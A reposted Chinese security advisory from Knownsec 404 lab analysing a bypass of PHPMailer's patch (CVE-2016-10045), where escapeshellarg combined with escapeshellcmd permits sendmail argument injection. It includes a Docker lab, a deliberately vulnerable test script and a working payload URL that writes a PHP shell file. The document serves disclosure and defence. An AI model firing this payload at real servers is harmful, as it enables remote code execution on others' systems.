php escapeshellcmd,PHP escapeshellarg()+escapeshellcmd() 之殇

Author: Hcamael, p0wd3r (知道创宇404安全实验室)

Date: 2016-12-28

0x00 简介

前两天爆出了 PHPMailer 小于 5.2.18 版本的 RCE 漏洞,官方在补丁中使用了escapeshellarg来防止注入参数,但有趣的是经过测试我们发现该补丁是可以被绕过的,并且攻击面可以延伸到更大而不仅仅是局限于这个应用。

0x01 漏洞复现

环境搭建

Dockerfile:

FROM php:5.6-apache

RUN apt-get update && apt-get install -y sendmail

RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini

提前下载好源码,在源码根目录下添加测试文件 1.php:

require('PHPMailerAutoload.php');

$mail = new PHPMailer;

$mail->setFrom($_GET['x'], 'Vuln Server');

$mail->Subject = 'subject';

$mail->addAddress('c@d.com', 'attacker');

$mail->msgHTML('test');

$mail->AltBody = 'Body';

$mail->send();

?>

shell:

docker build -t bypass-test .

docker run --rm --hostname xxx.xxx --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.19:/var/www/html bypass-test

复现

PHPMailer 对之前的漏洞做了如下补丁:

6bdf3d72ab7b1884f3e1802d323a42d3.png

即对输入使用escapeshellarg处理,最新版本中使用之前的 payload 攻击是失败的,例如:a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,但是经小伙伴的测试,在最新版中可以使用这个 payload:a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,结果如下:

访问http://127.0.0.1:8080/1.php?x=a%27(%20-OQueueDirectory=/tmp%20-X/var/www/html/x.php%20)@a.com,shell 成写入:

c45ccaaaa4037d3b51cdc8c080312ae5.png

根据调试的结果,我们可以看到参数确实被escapeshellarg处理过了:

542a9ffd862e8837253f0b6539393b71.png

那么为什么用了'就会在这里绕过escapeshellarg的限制呢?

我们看一下mail的代码:https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c ,其中第167-177行如下:

if (force_extra_parameters) {

extra_cmd = php_escape_shell_cmd(force_extra_parameters);

} else if (extra_cmd) {

extra_cmd = php_escape_shell_cmd(extra_cmd);

}

if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {

RETVAL_TRUE;

} else {

RETVAL_FALSE;

}

可见参数在mail中又经过了escapeshellcmd的处理,将整个过程进行简化:

f676c043af0f7cc150c624db131a69d8.png

可见两个函数配合使用就会导致多个参数的注入。

我们详细分析一下:

传入的参数是:172.17.0.2' -v -d a=1

经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php

最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最终的参数就是这样被注入的。

谁的锅?

仔细想想其实这可以算是escapeshellarg和escapeshellcmd的设计问题,因为先转义参数再转义命令是很正常的想法,但是它们在配合时并没有考虑到单引号带来的隐患。

在 PHPMailer 的这次补丁中,作者使用escapeshellarg意在防止参数注入,但是却意外的为新漏洞打了助攻,想想也是很有趣的 xD。

攻击面

如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。

如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。

有一点需要注意的是,由于注入的命令中会带有中间的\和最后的',有可能会影响到命令的执行结果,还要结合具体情况再做分析。

如果上述有哪些地方有问题,欢迎大家指正 :)

0x02 时间线

2016/12/28 知道创宇404安全实验室发现 Bypass 并整理文档

2016/12/28 发现 Dawid Golunski 也发现了Bypass 并申请了 CVE,对应编号 CVE-2016-10045

2016/12/28 截止目前官方并未发布更新

0x03 参考

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/164/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值